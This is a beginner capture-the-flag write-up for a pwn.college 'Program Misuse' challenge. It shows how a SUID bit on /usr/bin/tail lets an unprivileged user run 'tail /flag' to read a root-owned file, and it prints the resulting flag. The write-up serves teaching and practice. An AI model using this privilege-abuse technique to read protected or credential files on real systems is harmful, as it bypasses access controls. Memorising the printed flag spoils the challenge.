Challenge Name: tail
Writeup from Program Misuse
Category: Program Misuse
Platform: pwn.college
Difficulty: Begineer
Date: 2025-07-15
Author: Himanshu Parate
๐ง Summary:
The challenge abuses a SUID bit set on /usr/bin/tail, allowing an unprivileged user to read the root-owned flag file at /flag.
๐ Enumeration
ls -l /usr/bin/tail
output:
-rwsr-xr-x 1 root root 72088 Sep 5 2019 /usr/bin/tail
-The s in -rws indicates itโs a SUID binary.
-tail runs with root privileges.
๐ Exploitation
The tail command is used to display the last few lines of a file. Itโs perfect for watching logs in real-time or checking recent output without scrolling through the whole file.
tail /flag
Output:
pwn.college{kD9jjyBA4uV_EsSylIrjbyLydSY.dZDNxwSM0IzMyEzW}